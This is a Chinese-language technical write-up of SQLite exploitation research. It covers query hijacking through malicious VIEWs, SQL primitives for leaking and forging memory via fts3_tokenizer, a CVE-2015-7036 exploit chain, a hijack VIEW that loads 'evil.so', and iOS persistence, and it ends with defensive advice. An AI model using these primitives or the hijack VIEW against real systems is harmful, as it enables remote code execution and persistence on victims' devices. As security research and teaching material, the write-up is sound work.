SELECT code_execution FROM * USING SQLite;
字数 1442 2025-08-26 22:12:02

SQLite 漏洞利用技术深度解析

1. 研究背景与动机

SQLite 是世界上最广泛部署的数据库引擎之一,内置于所有移动电话和大多数计算机中。这项研究源于对密码窃取恶意软件的分析,发现它们普遍使用SQLite存储凭据,并通过PHP解析后发送到C2服务器。这揭示了SQLite在安全领域的重大攻击面。

2. SQLite 攻击面分析

2.1 主要攻击面分类

  1. 数据库加载与初始解析:通过sqlite3_open完成,主要涉及头解析
  2. SELECT查询执行:更复杂的攻击面,特别是通过VIEW劫持技术

2.2 sqlite_master 和 DDL

每个SQLite数据库都有一个sqlite_master表,定义数据库及其所有对象的模式:

CREATE TABLE sqlite_master (
  type TEXT,      -- "table", "view", "index", "trigger"
  name TEXT,      -- 对象名称
  tbl_name TEXT,  -- 表名
  rootpage INT,   -- 根页
  sql TEXT        -- 创建对象的DDL语句
);

关键点:sql字段包含描述对象的DDL(数据定义语言),以纯文本形式存储在数据库文件中。

3. 核心利用技术:查询劫持

3.1 DDL补丁技术

通过替换数据库文件中的DDL语句,可以影响SQLite的行为。特别是CREATE VIEW命令,它允许创建预打包的SELECT语句。

3.2 查询劫持示例

原始表定义:

CREATE TABLE dummy (id INT, data TEXT);

目标软件查询:

SELECT * FROM dummy;

劫持技术 - 将表替换为VIEW:

CREATE VIEW dummy AS SELECT * FROM evil;

这种技术使攻击者能够:

  • 劫持任意查询
  • 扩展攻击面到整个SQLite解释器
  • 实现"面向查询编程"(QoP)

4. SQLite漏洞利用原语

4.1 内存泄漏技术

通过fts3_tokenizer()函数泄漏内存地址:

SELECT hex(fts3_tokenizer('simple')) AS leak;

处理小端序泄漏:

SELECT substr(leak,7,2)||substr(leak,5,2)||substr(leak,3,2)||substr(leak,1,2) 
FROM (SELECT hex(fts3_tokenizer('simple')) AS leak);

4.2 指针操作技术

解包64位指针:

SELECT (
  (instr('0123456789ABCDEF', substr(leak,7,1))-1)*1 +
  (instr('0123456789ABCDEF', substr(leak,6,1))-1)*16 +
  (instr('0123456789ABCDEF', substr(leak,5,1))-1)*256 +
  (instr('0123456789ABCDEF', substr(leak,4,1))-1)*4096 +
  (instr('0123456789ABCDEF', substr(leak,3,1))-1)*65536 +
  (instr('0123456789ABCDEF', substr(leak,2,1))-1)*1048576 +
  (instr('0123456789ABCDEF', substr(leak,1,1))-1)*16777216
) FROM (SELECT '41424344' AS leak);

指针打包技术:

SELECT char(0x41)||char(0x42)||char(0x43)||char(0x44);

4.3 伪造内存对象

伪造tokenizer对象:

SELECT char(0x41)||char(0x41)||char(0x41)||char(0x41)||
       char(0x41)||char(0x41)||char(0x41)||char(0x41)||
       char(0x49)||char(0x41)||char(0x41)||char(0x41)||
       char(0x41)||char(0x41)||char(0x41)||char(0x41)||
       char(0x41)||char(0x41)||char(0x41)||char(0x41)||
       char(0x41)||char(0x41)||char(0x41)||char(0x41)||
       char(0x41)||char(0x41)||char(0x41)||char(0x41)||
       char(0x41)||char(0x41)||char(0x41)||char(0x41);

4.4 堆喷射技术

使用zeroblob进行堆喷射:

SELECT replace(zeroblob(1000), zeroblob(1), char(0x41));

5. 完整漏洞利用链(CVE-2015-7036)

5.1 漏洞概述

fts3_tokenizer()函数存在两个问题:

  1. 单参数调用时返回tokenizer地址(信息泄漏)
  2. 双参数调用时允许覆盖tokenizer地址(任意写)

5.2 利用步骤

  1. 泄漏tokenizer地址

    SELECT hex(fts3_tokenizer('simple')) AS leak;
    
  2. 计算基地址:通过泄漏的地址计算库基址

  3. 伪造恶意tokenizer:构造ROP链或shellcode

  4. 覆盖tokenizer

    SELECT fts3_tokenizer('simple', x'4141414141414141');
    
  5. 触发执行:实例化FTS3表触发恶意代码

6. 实际攻击场景

6.1 密码窃取器C2攻击

  1. 识别目标软件查询的表结构
  2. 创建恶意VIEW劫持查询
  3. 通过QOP链实现RCE

示例劫持VIEW:

CREATE VIEW Notes AS SELECT * FROM (SELECT 1 AS BodyRich) 
UNION SELECT * FROM (SELECT load_extension('evil.so'));

6.2 iOS持久化攻击

  1. 替换常用数据库(如Contacts DB)
  2. 创建恶意DDL语句覆盖tokenizer
  3. 设备重启后查询数据库触发执行

7. 防御建议

  1. 禁用不必要的SQLite功能
  2. 使用最新版本的SQLite
  3. 对用户提供的数据库文件进行严格验证
  4. 在沙箱环境中处理不受信任的数据库
  5. 启用SQLITE_DBCONFIG_DEFENSIVE标志

8. 未来研究方向

  1. 动态构建漏洞利用(QoP小工具)
  2. 实现更强的原语(任意读/写)
  3. 探索更多不受信任SQL输入的边界场景
  4. 挖掘更多SQLite虚拟表模块中的漏洞

9. 相关CVE

  • CVE-2015-7036
  • CVE-2019-8457 (RTREE OOB读取)
  • CVE-2019-8600
  • CVE-2019-8598
  • CVE-2019-8602
  • CVE-2019-8577

这项研究展示了SQLite中从简单的查询劫持到完整的远程代码执行的完整技术链,强调了即使在看似安全的数据库操作中也存在严重的安全风险。

SQLite 漏洞利用技术深度解析 1. 研究背景与动机 SQLite 是世界上最广泛部署的数据库引擎之一,内置于所有移动电话和大多数计算机中。这项研究源于对密码窃取恶意软件的分析,发现它们普遍使用SQLite存储凭据,并通过PHP解析后发送到C2服务器。这揭示了SQLite在安全领域的重大攻击面。 2. SQLite 攻击面分析 2.1 主要攻击面分类 数据库加载与初始解析 :通过 sqlite3_open 完成,主要涉及头解析 SELECT查询执行 :更复杂的攻击面,特别是通过VIEW劫持技术 2.2 sqlite_ master 和 DDL 每个SQLite数据库都有一个 sqlite_master 表,定义数据库及其所有对象的模式: 关键点: sql 字段包含描述对象的DDL(数据定义语言),以纯文本形式存储在数据库文件中。 3. 核心利用技术:查询劫持 3.1 DDL补丁技术 通过替换数据库文件中的DDL语句,可以影响SQLite的行为。特别是 CREATE VIEW 命令,它允许创建预打包的SELECT语句。 3.2 查询劫持示例 原始表定义: 目标软件查询: 劫持技术 - 将表替换为VIEW: 这种技术使攻击者能够: 劫持任意查询 扩展攻击面到整个SQLite解释器 实现"面向查询编程"(QoP) 4. SQLite漏洞利用原语 4.1 内存泄漏技术 通过 fts3_tokenizer() 函数泄漏内存地址: 处理小端序泄漏: 4.2 指针操作技术 解包64位指针: 指针打包技术: 4.3 伪造内存对象 伪造tokenizer对象: 4.4 堆喷射技术 使用zeroblob进行堆喷射: 5. 完整漏洞利用链(CVE-2015-7036) 5.1 漏洞概述 fts3_tokenizer() 函数存在两个问题: 单参数调用时返回tokenizer地址(信息泄漏) 双参数调用时允许覆盖tokenizer地址(任意写) 5.2 利用步骤 泄漏tokenizer地址 : 计算基地址 :通过泄漏的地址计算库基址 伪造恶意tokenizer :构造ROP链或shellcode 覆盖tokenizer : 触发执行 :实例化FTS3表触发恶意代码 6. 实际攻击场景 6.1 密码窃取器C2攻击 识别目标软件查询的表结构 创建恶意VIEW劫持查询 通过QOP链实现RCE 示例劫持VIEW: 6.2 iOS持久化攻击 替换常用数据库(如Contacts DB) 创建恶意DDL语句覆盖tokenizer 设备重启后查询数据库触发执行 7. 防御建议 禁用不必要的SQLite功能 使用最新版本的SQLite 对用户提供的数据库文件进行严格验证 在沙箱环境中处理不受信任的数据库 启用SQLITE_ DBCONFIG_ DEFENSIVE标志 8. 未来研究方向 动态构建漏洞利用(QoP小工具) 实现更强的原语(任意读/写) 探索更多不受信任SQL输入的边界场景 挖掘更多SQLite虚拟表模块中的漏洞 9. 相关CVE CVE-2015-7036 CVE-2019-8457 (RTREE OOB读取) CVE-2019-8600 CVE-2019-8598 CVE-2019-8602 CVE-2019-8577 这项研究展示了SQLite中从简单的查询劫持到完整的远程代码执行的完整技术链,强调了即使在看似安全的数据库操作中也存在严重的安全风险。